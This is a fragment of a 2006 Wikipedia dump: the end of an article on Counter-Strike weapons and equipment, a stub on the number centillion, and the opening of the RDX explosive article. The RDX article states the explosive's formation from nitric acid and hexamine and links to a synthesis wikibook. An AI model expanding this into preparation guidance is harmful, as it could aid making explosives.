The [[Israeli Military Industries|IMI]] [[Desert Eagle]] .50 AE has the most raw power of any pistol in the game.  It costs $650 and has the 7-round magazines of a [[.50 Action Express]].  The main advantage of this pistol is its high power: it is the only pistol in the game with the ability to shoot through walls/armor like a rifle.  Disadvantages include its small ammo capacity (7 rounds with 35 in reserve), inaccuracy at long ranges, relativity slow rate of fire and reload speed and its price (the Desert Eagle is the third most expensive pistol in the game). Despite its high price, the Desert Eagle is still cheaper than a rifle or SMG yet formidable against both; players often purchase a Desert Eagle and use it to acquire a better weapon.

In real life, Desert Eagle handguns are very heavy and bulky, and are not practical for self-defense or military use. Still, the large calibre and shiny appearance has ensured it's continued popularity in both games and movies. The internal name for the weapon in the game is &quot;weapon_deagle&quot;, hence the &quot;Deagle&quot; nickname.

===SIG P228===
''Alternate name: 228 Compact''

The [[SIGARMS]] [[Sig P228]] costs $600 and uses 13-round magazines of [[.357 SIG]] ammo.  It is moderately powerful and highly accurate.  Its rate of fire is faster than that of most other pistols allowing the user to get off more shots than an opposing player.  Even so it is one of the least used pistols in the game.  The advantages of this pistol are its 13 round magazine (one more than the USP) and its ability to tear through armor almost as well as the Desert Eagle.  There are no major disadvantages to this pistol but it is infrequently used because most players would rather pay $50 more for the Desert Eagle to get the extra power. In addition, the P228 is not much of an advantage over the [[Heckler &amp; Koch USP|USP45 Tactical]] that Counter-Terrorists spawn with, although for Terrorists the P228 is a good alternative to the [[GLOCK 18]]C. The P228 was added in Beta 4.0.

In real life, the P228 is only chambered for 9x19mm and not .357 SIG. The .357 SIG variant is the [[P229]].

===Dual Beretta 96G Elites (&quot;Dualies&quot;)===
''Alternate name: .40 Dual Elites''

The dual [[Beretta 96G Elite IA]] 40 S&amp;W are a pair of pistols that can be wielded [[Akimbo (gaming)|akimbo]] (one in each hand) and are only available to the Terrorist team. The pair originally cost $1000, but this has since been reduced to $800 in version 1.6 and ''Counter-Strike: Source''. Each pistol has a 15-round magazine of 9mm ammo, although Beretta 96Gs are in reality chambered in .40 S&amp;W.  In Condition Zero (expansion of the original CS) and Source, the model for the dualies is based on the [[Beretta 92|Beretta 92F Elite II]], with silver slide.

The &quot;dualies&quot; are rarely used due to their inaccuracy and a dangerously long (if aesthetically pleasing) reload animation. However, they are still occasionally used, mainly by players who enjoy the reckless [[action movie]] feel evoked by the wielding of two guns; getting a kill with these challenging weapons is a satisfying and spectacular feat. Other players exploit their fast rate of fire by binding the up and down movement of a [[mouse wheel]] to fire and then spinning it rapidly, producing a weapon almost matching the SMGs in terms of rate-of-fire. 

The dual Berettas were added in Beta 7.0 after overwhelming fan support for it, despite the creators' original intention to not include it.

===FN-Herstal Five-seveN===
''Alternate name: ES Five-Seven''

The [[Fabrique Nationale de Herstal|FN-Herstal]] [[Five-seveN]] is only available to the Counter-Terrorist team.  It costs $750 and uses 20-round magazines of 5.7mm ammo.  This is an extremely accurate gun with low recoil and large, 20-round magazines. However, the Five-SeveN is expensive and has very little power per round, sometimes requiring three or more shots to the head to kill an opponent, making it less useful since the point of a pistol is for effective close-range kills. Sometimes it is used by advanced players as a way of showing off, similar to the knife. The Five-seveN was added in version 1.0 of ''Counter-Strike''.

Note: The Five-seveN uses the same 5.7mm ammunition as the FN P90 and when both are equipped at the same time they share the same ammunition reserve.

==[[Shotgun]]s==
Shotguns are reloaded one shell at a time and can be fired while reloading.  Unlike other guns, shotgun accuracy is the same regardless of whether the player is moving, jumping, crouching, swimming or on a ladder which, although very unrealistic, adds a great amount of fun in using a shotgun, and therefore attracts more users.

===Benelli M3 (pump shotgun) ===
''Alternate name: Leone 12 Gauge Super''

The [[Benelli M3]] Super 90 Combat is round-for-round the more powerful of the two shotguns.  It costs $1700 and holds 8 rounds of 12 [[Shotgun#Gauge|gauge]] shells.  The M3 is a pump-action weapon that is pumped after each shot to advance the next shell (hence the nickname &quot;pump shottie&quot;). Being a shotgun, its accuracy is not reduced while the player is moving, jumping, swimming or climbing a ladder, but the main strength of the M3 is its high damage: at close range it can kill with one shot.  Its disadvantages include its pumping time and the need for precise timing and aiming. Some have also complained that the default M3 model's reload animation obscures what one can see in front. The M3 has been in ''Counter-Strike'' since Beta 1.0.  The shotgun is contentious as some players believe effective use of the shotgun requires a high level of skill, whereas others refute this because of the 'spray' effect of shotguns and the supposed lack of skill required to aim and get a kill and hence associate the M3 with [[noobs]].  This has led to a few servers restricting the M3 in the same way the AWP is for quite a number of servers.

===Benelli XM1014 (auto shotgun)===
''Alternate name: Leone YG1265 Auto Shotgun''

The [[Benelli M4 Super 90]] XM1014 is an automatic shotgun. It costs $3000 and holds 7 12-gauge shells. The XM1014 has a high rate of fire, but it empties quickly and each shot does less damage than the M3. As an automatic shotgun, it requires neither timing nor the accuracy of the M3, and its common use among newcomers to the game has earned it the derisive nicknames the &quot;[[newbie]] cannon&quot;, &quot;newbie blaster&quot;, &quot;noob stick&quot; and &quot;noob-tube&quot;. Extreme repeated use of this weapon can result in name calling, such as &quot;shotty whore&quot;. This gun is very useful at close range in maps such as cs_office.

Note that the internal name of the &quot;auto-shottie&quot; is weapon_xm1014. At the time ''CS'' was first created, the XM1014 was an experimental semi-automatic shotgun being tested by the [[USMC]]. It is now known as the [[Benelli M4 Super 90]]. The XM1014 was added to ''Counter-Strike'' in Beta 5.0 (December [[1999]]).

==Submachine guns/automatics (SMGs)==

===MP5===
''Alternate name: K&amp;M Submachine Gun''

The [[Heckler &amp; Koch MP5]] 9mm Navy costs $1500 and has 30-round magazines of 9mm Parabellum ammo. It is one of four weapons in the game chambered in [[9mm Parabellum]] (MP5, GLOCK 18, TMP and &quot;Dualies&quot;), dealing less damage than the Dualies, but more than the GLOCK and TMP. Because of this, as well as its decent accuracy and ease of control, it is one of the most popular weapons in the game, particularly in early rounds when its low price is a significant advantage. Its low recoil also makes it relatively easy to achieve headshots. The MP5 has been in CS since Beta 1.0.

===TMP===
''Alternate name: Schmidt Machine Pistol''

The [[Steyr]] [[Tactical Machine Pistol]] 9mm is a gun exclusive to the Counter-Terrorist team. It costs $1250 and has 30-round magazines of 9mm Parabellum ammo. It's chambered with the same type of round as the MP5 (9x19mm), but due to balancing issues and a fixed suppressor it deals very little damage, but can be used to obtain a headshot very easily. It is the cheapest fully automatic firearm, reloads very quickly, has a high rate of fire and remains fairly accurate while moving. The TMP is a fairly rare weapon to see people use, however, if the user is skilled enough, the TMP can be a very effective weapon. Sometimes referred to as &quot;Too Much Pwnage&quot; when effectively used.

===P90===
''Alternate name: ES C90''

The [[Fabrique Nationale]] [[FN P90]] 5.7x28mm is an SMG that uses 50-round magazines of 5.7mm ammo. At $2350 it is the most expensive SMG, and players often instead opt to purchase rifles for a slightly higher (or in the case of the FAMAS and Galil, slightly lower) price. However, the large magazine is an advantage in longer shootouts. The P90 has decent accuracy and the highest rate of fire of any gun in the game at 900 to 1200 rpm. Because of this and the somewhat toned down damage, it has gained the nickname &quot;pea shooter&quot; by some. It is best at close to medium range and has very low recoil so spraying is the best tactic with this gun. The P90 was added in Beta 3.0.

===MAC-10===

The [[Ingram]] [[MAC-10]] .45ACP is a Terrorist-only gun. It costs $1400 and has 30-round magazines of .45 ACP ammo. It is a fearsome weapon at close quarters: it is more powerful than the TMP, and like that weapon, the MAC-10 has a fast rate of fire, is not difficult to control and makes it easy to achieve a head shot. However, its extreme inaccuracy means it is only effective at short ranges — the MP5 is a similar price but is more versatile, so many players opt for that gun instead.

The MAC-10 was added in Beta 6.0.  It has no fake name because the companies that originally owned the rights to the MAC-10 name had gone out of production years before.

===UMP45===
''Alternate name: K&amp;M UMP45''

The [[Heckler &amp; Koch UMP]] .45ACP is similar to the MP5 but is slightly more powerful.  It costs $1700 and has 25-round magazines of .45 ACP ammo. It has the lowest rate of fire for any gun beside the pistols, but this helps reduce recoil. Also, its accuracy remains high while moving, making it one of the steadiest SMGs. Unfortunately, its low rate of fire, long reload time and higher price make it a rarely used weapon, in contrast to its very popular MP5 relative. The UMP45 was added in ''Counter-Strike'' 1.0.

==[[Rifle]]s==
There are two subcategories of rifles: [[assault rifle]]s and [[sniper rifle]]s.

The assault rifles are all fully automatic like the submachine guns, but there are are several key differences between them. Aside from the higher price, assault rifles do more damage (roughly double), pierce armor better, and can shoot through some objects. However, the most important difference is their accuracy. While submachine guns generally have a low recoil (crosshair does not move too much when spraying) and a high spread (bullets stray from the center of the crosshair), assault rifles generally have a high recoil and low spread. Because of this, rifles used with burst firing are much more effective at long range than are submachine guns. Spraying with an assault rifle is not recommended unless in close range combat.

Scoped rifles (sniper rifles) do not have a crosshair in the normal view, and must be scoped to be accurate. Sniper rifles are more powerful and can penetrate more objects than assault rifles can.

In CS:S, all rifles can shoot through thin objects and crates and damage things on the other side. In CS 1.6, all rifles can pierce up to 3 objects/walls. 

===Galil===
''Alternate name: IDF Defender''

The [[Israeli Military Industries|IMI]] [[Galil]] 5.56 is the cheap Terrorist-only counterpart of the Counter-Terrorists' [[FAMAS]]. It costs $2000 and has 35-round magazines of 5.56x45mm ammo (same as the M4A1, but much weaker). It is a good gun when money is tight, especially since it has a slightly larger magazine than other rifles (35 rounds vs 30 rounds). The benefit of using the Galil is that it has the recoil of a submachine gun but has the stopping power of a rifle. The recoil is different than most guns, however. Instead of moving upwards a lot it moves more side to side, making it harder to control and spray. Because of this it is not suggested to spray much at all with this gun except at almost point blank range. The Galil was added in ''Counter-Strike'' 1.6.

===FAMAS===
''Alternate name: Clarion 5.56''

The [[GIAT Industries|GIAT]] [[FAMAS]] 5.56 is a cheap rifle exclusive to the Counter-Terrorists, similar in role to the Galil (and like the Galil, it was added in version 1.6).  It costs $2250 and has 25-round magazine of 5.56x45mm ammo (as with the M4A1, but again, slightly weaker).  Secondary fire toggles between fully automatic and a 3-round burst mode, which is more accurate over long distances than the Glock's 3-round burst. The former mode is most suited to close-range combat, while the unrealistically recoilless 3-round burst function makes the FAMAS very dangerous at mid to long-range.  It's fake name is the nickname that was given to this weapon by French soldiers (it looked like a clairon, which means [[Bugle (instrument)|bugle]] in French).

===AK-47===
''Alternate name: CV-47''

Added in Beta 2.0, the [[AK-47]] 7.62 is a Terrorist-only rifle and the team's most popular gun. It costs $2500 and has 30 rounds of 7.62x51mm ammo (though in real life, it uses 7.62x39mm; also, the charging handle on the real AK is on the right, whereas in the game it is on the left, unless the game is set for left-handed shooting.). The AK-47 is slightly more powerful than the CTs' M4A1 and the first shot is more accurate; its reload time is also the quickest of any rifle. Headshots from this gun usually kill in 1 shot, unlike the M4 where it's quite possible to survive a headshot. The AK-47 is arguably the best rifle in the game; however, it can be a poor choice for inexperienced players due to its erratic recoil and low accuracy when fired full-auto — in ''Counter-Strike: Source'' it is sometimes the case that if &quot;sprayed&quot; at point blank range, all the AK-47 bullets will completely miss the enemy. However, in Counter-Strike 1.6, it's arguably a headshot machine. With practice, players learn to shoot in controlled bursts while dragging the crosshair down to negate the upwards recoil. 

Like the CTs' M4A1, the AK-47's popularity and exclusivity to one team means that it is often sought after by opposing players. Often, by mid-game rounds many Counter-Terrorists will have swapped their primary firearm for this powerful alternative.

===Colt M4A1===
''Alternate name: Maverick M4A1''

The [[Colt's Manufacturing Company|Colt]] [[M4 Carbine]] (usually just called &quot;Colt&quot; or &quot;M4&quot;) is exclusive to the Counter-Terrorists, and is greatly appreciated for its handling characteristics.  It costs $3100 and has a 30-round magazine of 5.56x45mm ammo.  Secondary fire adds or removes a suppressor.  The Colt is very accurate, controllable, and powerful; indeed, it is perhaps the most-well rounded and forgiving rifle in the game. The damage is high (although not as high as the AK) and when using a suppressor, it can make you hard to find by the enemy.  It previously had a scope, but this was removed from the game for balance reasons, since it was generally believed that it made the Colt a decent long-range gun, in addition to its dominance in close and medium ranges.  It is to be noted that for some reason, the M4 doesn't have much side-to-side recoil, which makes it the one of the easiest to control rifles in the game. The Colt has been in CS since Beta 1.0.

Like the AK-47, M4A1 is highly sought after by players. Some Counter-Terrorists follow a teammate carrying the weapon and wait for them to die so they can pick it up.

===AUG===
[[Image:BullpupC-S.jpg|right|185px|thumb|The [[Steyr AUG]] (Bullpup) rifle.]]
''Alternate name: Bullpup''

The [[Steyr Mannlicher]] [[Steyr AUG]] 5.56 is a scoped rifle for the Counter-Terrorists. It costs $3500 and has a 30-round magazine of 5.56x45mm ammo. The secondary fire button activates its 2x scope and reduces its rate of fire. It is slightly more accurate than the M4A1 but is comparably more expensive. When unzoomed, the AUG seems to be slightly more accurate when firing one round at a time, but less accurate when attempting to fire many rounds semi-automatically than its Terrorist counter-part, the SG-552 Commando. This gun is most effective when aimed just below the neck and shot with 3-4 round bursts. The AUG was added in Beta 6.0. 
===SIG-552===
''Alternate name: Krieg 552 Commando''

The [[SIGARMS]] [[Sig 552 Commando|SG552]] 5.56 Commando is the Terrorist-only counter-part of the Counter-Terrorists' AUG. It costs $3500 and has 30-round magazines of 5.56x45mm ammo. The secondary fire activates its 2x scope, improving its longer range effectiveness but reducing its rate of fire. Accuracy is very similar to the AUG, although some differences in recoil appear when firing quickly. The SIG-552 was added in Beta 2.0.

Oddly, the Counter-Terrorists' SIG 550 Sniper is actually closely related to the Terrorists' SIG 552, with the 550 Sniper and 552 being variants of the 550 assault rifle. In addition, the SG552 is an expensive weapon and has a very small chance of turning up in the hands of real-life terrorists. The CTs' comparable gun, the AUG, is widely used by Special Forces, but is also far more easily available to terrorists through the black market. With one of the units represented in the game, [[GSG 9]], having it's bigger brother the SG551 as part of its standard kit, it begs the question as to why the developers chose to give the SG552 to the terrorist side.

===Steyr Scout Tactical===
''Alternate name: Schmidt Scout''

The [[Steyr Mannlicher|Steyr]] [[Steyr Scout|Scout Tactical]] Sniper Rifle is the cheapest but least powerful sniper rifle. It costs $2750, and has 10-round magazines of 7.62x51mm ammo; it is bolt-action, and the secondary fire activates its 2-10x scope. The Scout is not a particularly powerful gun; the only way to kill in one shot is with a headshot. At one point, a bug in ''CS: Source'' allowed center-mass body shots to kill in one hit; however, this behavior has since been fixed.

Despite being considerably less powerful, the Scout has several advantages over the other bolt-action rifle, the Arctic Warfare Magnum. These include: Being the lightest weapon of the game, being much quieter - almost completely inaudible beyond medium range, a much lower price tag; larger ammunition reserves, less controversy involved, and a higher level of accuracy without a scope and when running. The Scout was added in Beta 4.0.

However, it also has several distinct disadvantages. Not being a &quot;one hit kill&quot; weapon given anything but a headshot means that it is much less forgiving; it also makes it difficult to successfully stay hidden when [[sniping]]. For these reasons, many players consider it a more elegant weapon; its quietness makes it closer to real-life sniping, and the time required to master its use means that to be consistently successful with the Scout is regarded by many as a sign of expertise.

=== Arctic Warfare Magnum ===
''Alternate name: Magnum Sniper Rifle''

The [[Accuracy International AWM]] is the most powerful sniper rifle in the game. The AWM is often mislabeled as &quot;AWP&quot;, although the AWM and AWP are both variants of the original AW sniper rifle; the last letters denote &quot;Magnum&quot; and &quot;Police&quot;, respectively. It costs $4750 and uses 10-round magazines of .338 Lapua ammunition.  Secondary fire enables its 2-10x scope. It is highly accurate while standing still and will usually kill with one shot. The AWM is inaccurate when not zoomed in and dramatically slows the player's running speed. It has been in CS since Beta 1.0.

In the culture of ''Counter-Strike'', &quot;AWP whore&quot; is online vernacular for one who accumulates kills with the AWM sniper rifle. The AWM delivers one-shot kills to all parts of the body except the legs, which some players criticize as making it overpowered and easy to use (the AWM is one of the weapons most frequently banned from use on certain servers; the autosnipers are the others). It does, however, have a slow rate of fire, causing a drastic reduction in speed of the person carrying it, and that the player must use its zoom function to have good accuracy makes them vulnerable to surprise close-range attacks. In addition, the AWM is the loudest weapon in the game which tends to give away the operator's position.

The balance of the rifle is constantly debated, but the AWM is no longer as powerful as it once was. The AWM was the most powerful in version 1.1 of the game, when one shot to any part of the body was an instant kill. Later updates reduced its effectiveness: 1.3 made the leg shot non-lethal, and 1.6 removed a bug which meant players could switch between a AWM and a pistol quicker than normal (specifically the Desert Eagle/Night Hawk .50C pistol).

The weapon is unusable when running, walking, jumping or doing anything but standing still/crouching, and is extremely heavy. Thus it is not a very versatile weapon.

===G3SG/1===
''Alternate name: D3/AU-1 Semi-Auto Sniper Rifle''

The [[Heckler &amp; Koch G3]] SG-1 Semi-Auto Sniper Rifle is the Terrorist-only auto sniper gun. It costs an impressive $5000 and has 20-round magazines of 7.62x51mm ammo. The secondary fire activates its 2-10x scope. It is similar in power to the Scout, able to kill within 2 shots, with the difference that the G3SG1 is semi-automatic (although it seems automatic in the game). In version 1.6 the recoil of the rifle was reduced, allowing players to make kills at almost any range with relative ease. Players who accumulate kills with this weapon are often disparaged as an 'auto sniper noob'. The G3 makes a seviceable assault weapon due to its high damage and semi-automatic fire as well as its fearsome sniping abilities.  Due to this, it is rare to find a server in which this weapon has not been restricted. The G3 has been in ''Counter-Strike'' since BETA 1.

===SIG 550 Sniper===
''Alternate name: Krieg 550 Commando''

Added in ''Counter-Strike 1.0'', The [[SIGARMS]] [[SIG 550]] Sniper Rifle is the Counter-Terrorists' automatic sniper rifle. It costs $4200 and has 30-round magazines of 5.56x45mm ammo. Secondary fire activates its 2-10x scope. Like the G3, it can kill in two shots, but is less accurate. Both guns' accuracy was increased in 1.6, leading to &quot;auto sniper noob&quot; complaints.

Oddly, the Counter-Terrorists' SIG 550 Sniper is actually closely related to the Terrorists' SIG-552, with the 550 Sniper and 552 being derivatives of the 550 assault rifle.

==M249/Minimi==
''Alternate name: ES M249 Para''

The [[Fabrique Nationale]] [[M249]] 5.56 PARA is the only [[machine gun]] and the most expensive item in the game. It costs $5750 and is fed by 100-round belts that require several seconds to reload. It has far more rounds in a single magazine than any other gun in the game and works well at providing covering fire and at clearing out rooms.  The M249 is hard to control in fully automatic, though contrary to popular belief, it is actually fairly accurate when used in single or burst fire. Damage is similar to the M4.  It has been in CS since Beta 1.0.

==Miscellaneous==
; Kevlar armor/helmet: [[Kevlar]] body armor costs $650 and offers some protection from bullets and HE grenades.  Players can also buy kevlar armor with a helmet for $1000 that saves players from one-shot kills to the head by most weapons - though sniper rifles, the AK-47 and the Desert Eagle are still able to penetrate the helmet with a direct hit. It is to be noted that 5.7x28mm SS190 ammunition (used in the Five-seveN and P90) is designed to pierce Kevlar in real life, but doesn't in CS.

; Flashbang grenade: [[Hand grenade#Stun grenades|Flashbang]] grenades cost $200 and a player can carry two of them.  Players near or facing a detonating flashbang grenade will have their screen turn white (in ''CS:S'', sound will also turn off, to be replaced by a high pitched ringing in the ears) for several seconds if the player is close enough to the point of activation, providing a moment for attackers to overtake the disoriented players.  Players on public servers often use flashbangs inappropriately, &quot;flashing&quot; their own team either intentionally or because of inexperience, often called &quot;teamflashing&quot;.
; HE grenade: The [[high explosive]] (HE) grenade costs $300 and a player can only carry one at a time. HE grenades typically do about 1-92 points of damage to un-armored opponents at the point of explosion and 1-50 points of damage to armored opponents. Great for softening enemies, finishing off wounded or scaring ambushers. A much frowned-upon tactic called &quot;nade spamming&quot; is to stand in a buy zone and throw grenades at any place the enemy may come from, then buy a new grenade and throw it again. The result is a rain of grenades that doesn't stop until the player runs out of money to buy the grenades, or the buy time ends. When friendly-fire is off, the grenade can still injure or kill you if mis-thrown, but it won't injure your teammates. HE grenades were added in Beta 4.0. In Condition Zero and CS:Source the power of the grenade has increased, but is, in contrast, no longer effective through walls and other objects, and cannot be thrown as far.

; Smoke grenade: The [[Hand grenade#Smoke grenades|smoke grenade]] costs $300 and a player can only carry one at a time.  Smoke creates a distraction and can provide cover in the vicinity. The smoke grenade was added in Beta 6.5. In CS Source, the smoke grenade was notably improved by making its smoke more dense and with a much faster smoke dispersion. It is also used to increase the 'lag' in the game, causing other players to be unable to act quickly.

; Defuse kit: The defuse kit is for the Counter-Terrorists on bomb-defusal maps and costs $200. It halves the time required to defuse the bomb (5 seconds instead of the usual 10). The ability to purchase defuse kits was added in Beta 5.0. During Beta 4.0, when the defusion scenario was added to the game, three Counter-Terrorist players would spawn with defuse kits, picked randomly, similar to how the C4 spawns on a random Terrorist player. 

; Night vision goggles: [[Night vision goggles]] (NVG) cost $1250. They allow the wearer to see in total darkness. Taking NVG on and off makes a distinct sound that your enemies can hear. In normal light, the goggles can make things difficult to see. The goggles are relatively expensive for their worth, as there are few maps with areas dark enough to warrant the use of NVG. NVG was added in Beta 2.0, later removed, and then re-added in Beta 6.0.

; Tactical shield: The tactical shield is for the Counter-Terrorists only and costs $2200.  When deployed, the player is invulnerable to attacks from the front (except for shots to the feet - but the front is completely protected while crouching), but suffers a movement penalty and cannot shoot. When not deployed it hangs off to the side offering less protection, but allows you to shoot. This item can only be used with pistols (except for the dual berettas). The tactical shield was added in version 1.6 but removed for ''Counter Strike: Source'', as it is often used by players to become almost invulnerable when hiding in hard-to-reach spaces. There were also many bugs with the shield that would allow players to use a rifle or SMG with it. Skilled shielders in 1.6 also often attempt to distract enemy snipers by activating the shield and charging their positions with their invulnerability; allowing friendly snipers to pick off the enemy snipers. These players typically earn themselves the title &quot;shield noob&quot; or &quot;shield-whore&quot;. Notably, most bots will not even attempt to fire at a shielded player, despite their feet being still visible and vulnerable. Other than the AWM and auto-snipers, the shield is the most banned item from many ''Counter-Strike 1.6'' servers. The best way to use these is to wait for one's attacker to run out of ammo and reload. Then, while they are reloading, shoot them with a pre-aimed headshot.

==Weapons' weight==
Unlike ''Half-Life'', players' movement speeds in ''Counter-Strike'' are affected by the choice of weapon currently used. Knives and grenades are considered the lightest, followed by pistols, shotguns, submachine guns, rifles and finally the very heavy machine gun, with some exceptions, notably the Scout, which is the lightest. To take advantage of this variation, as well as the fact that weapons kept in reserve do not contribute to the total weight, players wishing to [[Rush (computer gaming)|rush]] often switch to the knife or grenade.

The full list, from lightest to heaviest, is as follows:

* Schmidt Scout, odd considering it is heavier than the knife or most pistols
* Combat knife, grenades
* H&amp;K USP .45 Pistol, Glock 18 Select Fire
* FN Five-seveN
* Desert Eagle, SiG P228, Dual Berettas
* Benelli M3 Super 90 shotgun, Benelli XM1014 shotgun
* Ingram MAC-10, Steyr TMP
* H&amp;K MP5 Navy
* FN P90, H&amp;K UMP 45
* AK-47, M4A1
* Steyr AUG, Sig SG-552
* H&amp;K G3/SG-1 Sniper, Sig SG-550 Sniper, AI Artic Warfare Magnum
* FN M249 PARA

==See also==
* [[Counter-Strike maps|''Counter-Strike'' maps]]
* [[Counter-Strike culture|''Counter-Strike'' culture]]
* [[List of firearms in first person shooters]]
* [[America's Army equipment]]
* [[Cheating in online games]]
* [[Cheating in Counter-Strike|Cheating in ''Counter-Strike'']]
* ''[[Half-Life]]''
* ''[[Counter-Strike: Source]]''
* ''[[Counter-Strike: Condition Zero]]''
* [[Steam (content delivery)|Steam]]
* [[List of Half-Life mods|List of ''Half-Life'' mods]]

==External links==
* [http://www.mapcentralnetwork.com/ MapCentral Network] &amp;mdash; A long-running community for Counter-Strike, Half-Life, and many other popular games.
* [http://www.mapcentralnetwork.com/forum/ MapCentral Network Forums] &amp;mdash; Forums for the MapCentral Network
* [http://www.bosskey.net/cs/weapons.html Counter-Strike weapons]
* [http://www.bosskey.net/cs/equipment.html Counter-Strike equipment]
* [http://www.csnation.net/view.php/csinfo/weapons.csn Counter-Strike Weapon and equipment information, including the 1.6 additions]
* [http://www.counter-strike-dl.com Counter Strike DL - CS Skins and CS Source Skins] includes a number of models known as &quot;skins&quot; that can be downloaded. These typically improve the visual appearance of weapons, equipment and players to more closely mimick their real-life counterparts. Other than offering more realistic sprites and models, these &quot;skins&quot; do not affect gameplay.

[[Category:Counter-Strike]]

[[pt:Equipamentos do Counter-Strike]]</text>
    </revision>
  </page>
  <page>
    <title>Centillion</title>
    <id>7498</id>
    <revision>
      <id>41089403</id>
      <timestamp>2006-02-24T23:55:59Z</timestamp>
      <contributor>
        <username>Cevlakohn</username>
        <id>59619</id>
      </contributor>
      <comment>/* North American system */</comment>
      <text xml:space="preserve">The number '''centillion''' refers to different quantities based on locality of usage.  The number itself has no real usage outside of mathematics.  The total number of [[atom|atoms]] (or even [[subatomic particle|subatomic particles]]) in the entire [[universe]] does not even come near to either definition of a centillion.

==North American system==
* In [[Canada|Canadian]] and [[United States|U.S.]] usage, one centillion is [[1 E303|10&lt;sup&gt;303&lt;/sup&gt;]]. 
* While [[United Kingdom|Britain]], [[Australia]] and [[New Zealand]] traditionally employed the European usage, they have recently largely switched to the U.S. version.

10&lt;sup&gt;303&lt;/sup&gt; is a thousand times more than a [[novemnonagintillion]].
10&lt;sup&gt;303&lt;/sup&gt; is a thousandth of a [[centuntillion]].

10&lt;sup&gt;303&lt;/sup&gt; is a [[quinquagintilliard]], or a thousand [[quinquagintillion]], in the European system.

It is believed to be the largest number with an conventional name, and the second largest named number after [[googolplex]], discounting such curiosities as [[millillion]] which, though not officially accepted, are legitemately coined and widely used in some circles .

==European system==
* In traditional [[Europe|European]] usage, one centillion is [[1 E600|10&lt;sup&gt;600&lt;/sup&gt;]].

10&lt;sup&gt;600&lt;/sup&gt; is a [[novemnonagintacentillion]] in the North American system.

10&lt;sup&gt;600&lt;/sup&gt; is a thousand times more than a [[novemnonagintilliard]].
10&lt;sup&gt;600&lt;/sup&gt; is a thousandth of a [[centilliard]].

10&lt;sup&gt;600&lt;/sup&gt; is a million times more than a [[novemnonagintillion]].
10&lt;sup&gt;600&lt;/sup&gt; is a millionth of a [[centuntillion]].

==Related terms==

*[[hundred]]
*[[million]]
*[[billion]]
*[[trillion]]
*[[decillion]]
*[[centilliard]]

== See also ==
* [[List of numbers]]
* [[Large numbers]]

{{num-stub}}
[[Category:Large numbers]]

[[fr:Centillion]]
[[ja:センティリオン]]
[[pl:Centylion]]
[[ru:Центиллион]]
[[sv:Centiljon]]</text>
    </revision>
  </page>
  <page>
    <title>RDX</title>
    <id>7499</id>
    <revision>
      <id>40550064</id>
      <timestamp>2006-02-21T10:17:34Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">{{explosivebox |
|image = Cyclotrimethylenetrinitramine-structure.png
|IUPAC_name = 1,3,5-trinitroperhydro-1,3,5-triazine
|chemical_formula = C&lt;sub&gt;3&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;N&lt;sub&gt;6&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt;
|molecular_weight = 222.117 [[gram|g]]/[[mole (unit)|mol]]
|shock_sensitivity = Low
|friction_sensitivity = Low
|density = 1.82 [[gram|g]]/[[cubic centimetre|cm³]]
|explosive_velocity = 8,750 [[metre per second|metres per second]]
|RE_factor = 1.60
|melting point = 205.5[[Celsius|°C]]
|boiling_point = N/A
|appearance = colorless solid crystals
|CAS_number = 121-82-4
|PubChem = 8490
|SMILES = C1N(CN(CN1[N+](=O)[O-])&lt;br&gt;[N+](=O)[O-])[N+](=O)[O-]
}}

{{wikibookspar|Chemical synthesis|Cyclonite synthesis}}

'''Cyclotrimethylenetrinitramine''', also known as '''RDX''', '''cyclonite''', '''hexogen''', and '''T4''', is an [[nitroamine]] and [[explosive material]] widely used by the military. The [[#History|origin]] of the acronym RDX is not wholly clear; from [[United Kingdom|UK]] perspective, it most probably stands for &quot;Research Department Explosive&quot;.

In its pure, synthesised state RDX is a white, crystalline solid. As an explosive it is usually used in mixtures with other explosives and [[plasticizer]]s or desensitizers. It is stable in storage and is considered the most powerful and [[Brisance|brisant]] of the military high explosives.

RDX forms the base for a number of common military explosives: [[Composition A]] (wax-coated, granular explosive consisting of RDX and plasticizing wax), composition A5 (mixed with 1.5% [[stearic acid]]), [[composition B]] (castable mixtures of RDX and [[Trinitrotoluene|TNT]]), [[composition C]] (a plastic demolition explosive consisting of RDX, other explosives, and plasticizers), [[composition D]], [[HBX]] (castable mixtures of RDX, TNT, powdered aluminium, and D-2 wax with calcium chloride), H-6, [[Cyclotol]], and [[C4 explosive|C4]].

RDX is also used as a major component of [[plastic bonded explosive]]s used in [[nuclear weapons]].

==Properties==
The [[velocity of detonation]] of RDX at a density of 1.76 grams/cm&lt;sup&gt;3&lt;/sup&gt; is 8,750 meters per second.

It is a colourless solid, of maximum theoretical density 1.82 g/cm³. It is obtained by reacting concentrated [[nitric acid]] on [[hexamine]].

(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;6&lt;/sub&gt;N&lt;sub&gt;4&lt;/sub&gt; + 4HNO&lt;sub&gt;3&lt;/sub&gt; &amp;rarr; (CH&lt;sub&gt;2&lt;/sub&gt;-N-NO&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt; + 3HCHO + NH&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt; + NO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;-&lt;/sup&gt;

It is a [[heterocycle]] and has the molecular shape of a ring. It starts to decompose at about 170°C and melts at 204°C. Its structural formula is: hexahydro-1,3,5-trinitro-1,3,5-triazine or (CH&lt;sub&gt;2&lt;/sub&gt;-N-NO&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;.

At [[room temperature]], it is a very stable product. It burns rather than explodes and only detonates with a [[detonator]], being unaffected even by [[small arms]] fire. It is less sensitive than pentaerythritol tetranitrate ([[PETN]]). However, it is very sensitive when crystallized, below &amp;minus;4°C.

Under normal conditions, RDX has a [[Figure of Insensitivity]] of 80.

The manufacture of RDX can easily pollute soil and groundwaters.

==History==
The discovery of RDX dates from the [[1890s]] when a German (Hans Henning) offered it as a medicine. Its explosive properties were not discovered until 1920 (Herz?). In the [[1920s]] RDX was produced by the direct nitration of [[hexamine]].

